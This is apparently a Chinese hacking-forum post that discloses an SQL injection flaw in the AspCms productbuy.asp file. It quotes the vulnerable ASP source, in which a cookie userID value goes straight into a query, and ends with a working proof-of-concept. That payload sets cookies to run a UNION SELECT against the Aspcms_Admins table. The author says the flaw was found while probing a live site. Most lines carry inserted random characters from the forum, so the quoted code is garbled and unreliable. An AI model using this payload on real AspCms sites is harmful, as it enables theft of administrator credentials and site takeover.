好久没上土司了,上来一看发现在删号名单内.....
# p0 O+ _+ q5 V5 S/ |也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
* x' }8 P0 e1 s/ A+ p" K" i! q h废话不多说,看代码:
, m4 t, A8 t; |* W
. l/ P' C5 z2 f9 W- c<%
+ @9 P% N* O1 j( \
' _2 e. x7 _ [3 r/ E2 ~, [2 gif action = "buy" then8 i7 L% `* ~& k3 ?: [8 Z
. G7 e0 E b: F& {) q. v) I
addOrder()
f/ h0 P4 y2 ?! ?
) c' Z4 a' q/ c; u7 l/ w# ~, t6 Belse
( {" X0 _. G: |7 F% H) t0 u0 h. i7 z! R/ l. a
echoContent()
2 E! W# w* _0 @) j
A h2 y9 q. L1 e0 X* q- dend if
! ~9 h$ r E8 s0 s8 e2 J2 h1 ~% h% j
4 L: g4 n, x) G* Q
! n8 n8 A9 |% k" _! Z7 b……略过! t/ R8 f5 c ] A) b% C4 v% Y
' C' q2 U/ Y$ }7 h# t
' y" C0 v; e3 I8 j9 z/ I3 Y4 `' \$ |* v5 K
Sub echoContent()
# A6 m- g. d8 T: R5 a7 w& V* P
; t0 `, t1 c3 i dim id3 E* }! {' k1 g5 y2 U" C0 |) }
% z3 ]. T+ z7 d* g id=getForm("id","get")
( v; o* C; o- a! C/ f, u
( U6 a4 U& d5 [8 [ * s0 b6 j O) V$ g: n: N# ~3 [$ d
1 a: @; Y7 T6 [( e- `5 p if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
! D+ k9 L& {' x& b7 a. d' O, R
0 t" n# c- Q2 x* H 0 ~+ K/ y9 v/ G, o! l
: Z- T1 |& _% H% j+ s1 U
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")7 u: z+ h) T# _& \# { @0 Y
9 b, Q5 i- s. J dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct1 V) h+ F# R, ~- }( m
4 I2 p9 h! A6 P" I+ c Dim templatePath,tempStr6 z. S7 }- j6 q! ~3 L: ~5 G& M& g
9 z4 R) n. h" d" M2 I- V
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"# W2 j, q6 Q4 Z: k5 T1 U) s8 G% ^
$ N' S2 V1 |8 ^4 h/ E
0 T! s. [2 E8 C& ^, }
- B/ Z% d# ^8 Y3 Z, v" g3 s set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")0 W; t* b- R6 ]0 ?: r
+ K$ p: W" {. c9 B" p! ]% r selectproduct=rsObj(0)( V/ G* S- R& b4 k/ g3 ?
. `3 P% V& K; v1 ~
( k7 W: D j! Y1 u: \& W) B# v
" D( C. J& P$ x; t. t F4 `4 k& u6 v/ C
Dim linkman,gender,phone,mobile,email,qq,address,postcode
$ B0 g6 _6 }. A9 c6 ~7 `5 a. m
2 z w$ W! X8 L9 N if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0' C1 t( N; Y, ?/ h: \# G" i
4 A6 J" E6 D9 p5 J
if rCookie("loginstatus")=1 then
' }9 R, F+ a$ p6 l, [1 m" `
: J0 t1 }7 f$ M0 j9 \* j# C* ` set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
9 K: G, l, s" @6 d* M; B7 C. \, g. F! _' _
linkman=rsObj("truename")( s) w+ |% \5 L6 f6 n# {
; V" e& i6 ?$ y& s gender=rsObj("gender") ^! t: o B( d4 v
- M( Q. G+ |) J y# n phone=rsObj("phone")/ Z- k ]7 ?) x9 Z9 ]
& l1 ^; M3 O: F9 ~: |8 C
mobile=rsObj("mobile")
: B# r: s5 e" l1 g" ~
. R* M; b D- \( L. I- C* b email=rsObj("email")$ k& _) T3 O! j+ V5 s) ?5 x" n
, B4 v! Y& g1 a, W
qq=rsObj("qq")
- n* h7 t3 B( x) A t: k; F- R; l b* l! J& s& v% i
address=rsObj("address")# T: J" F" J4 W
2 B6 X1 u( B- K* N. J
postcode=rsObj("postcode")1 Z9 A% O% D. }) K$ i# l$ k; l* P& X( `
4 w+ l& L2 l% q5 u: Z5 v else 0 `% u3 r ^3 a9 }
. X) y' G9 U8 @ gender=1
$ S) s$ G! s% i+ p& Y: `8 O. s1 O9 L
" c; u2 j" R5 m2 ~1 Q! B0 N end if
2 N- \& K. V: A/ I
- v6 t, ~' ?, L L8 X* b* W rsObj.close()7 Z( Y8 n5 n+ n( k5 N
- F5 V5 M+ S" p4 W! z3 g7 v/ o& t . }! k1 ^3 l- \% Y7 g' B1 k2 E
6 s2 V8 {2 D( Q7 ~, z( H with templateObj
. H) Q/ U$ `/ b! I1 a! O9 l
* K) N- ~) l1 N+ C3 L1 q .content=loadFile(templatePath) 1 Y* W7 Z+ Y( l% b! Z7 I, J( Y! C
1 ^' @& s& b& Q/ { N! M6 D
.parseHtml(). l5 z7 Y( {4 C6 C: r" ]
! O, c: q* ~6 \+ E0 u2 v
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)# D) ]: r! n6 `9 C3 k. Z
( a, C/ J' S$ M: y
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
$ J* L% H* }5 ]# @4 q5 n; x1 e/ _6 Y7 ~% L1 R4 E% \7 P6 |, x
.content=replaceStr(.content,"[aspcms:gender]",gender)
9 v' g8 ~6 ?' u9 x; j& k( T- Y/ o- O3 |3 ?. Z- v, E
.content=replaceStr(.content,"[aspcms:phone]",phone)
( K w; ^4 y& }, ]
9 Z1 V5 h1 n# i .content=replaceStr(.content,"[aspcms:mobile]",mobile) , `9 i/ C6 h4 m Z; X
' g! g7 k) H3 a, l* `
.content=replaceStr(.content,"[aspcms:email]",email) " T3 F7 y: B" o4 L
- M8 w( G" A' [ .content=replaceStr(.content,"[aspcms:qq]",qq)
- n5 b. o b2 m6 G5 w/ }, W" M1 Q1 B- W9 U3 j6 P
.content=replaceStr(.content,"[aspcms:address]",address)
: c' O+ ~( S& n) `% R+ z, r7 ~/ l. `3 Y- l H! @' V: k6 f
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
% u& e; Z2 z. A/ ]0 h5 N
+ }9 [& V/ j3 M) N" ? .parseCommon()
) O6 n/ x: v+ `0 ^# J& C O* T
6 [% E& z9 n8 x7 \) W( { echo .content
4 Q$ \$ D$ \) k( T5 w
5 j# a7 J4 g' j, t: b* g! V end with
) X' h: v' P1 t% r& D! c+ |- ~' o+ K8 b6 e: ]6 u
set templateobj =nothing : terminateAllObjects
T9 m4 S$ p% {0 x0 X7 [, H9 s5 E9 t( l% m8 D
End Sub
# q# N* _; R q' ^6 d: G1 b) e8 E漏洞很明显,没啥好说的: `& A% k# t1 H7 W& w
poc:
, D* C: }1 B7 f3 |/ k
' w2 c+ @0 a: }javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
+ f5 l$ X8 ^+ J v$ s* p
& v3 k' o& ?; u, J |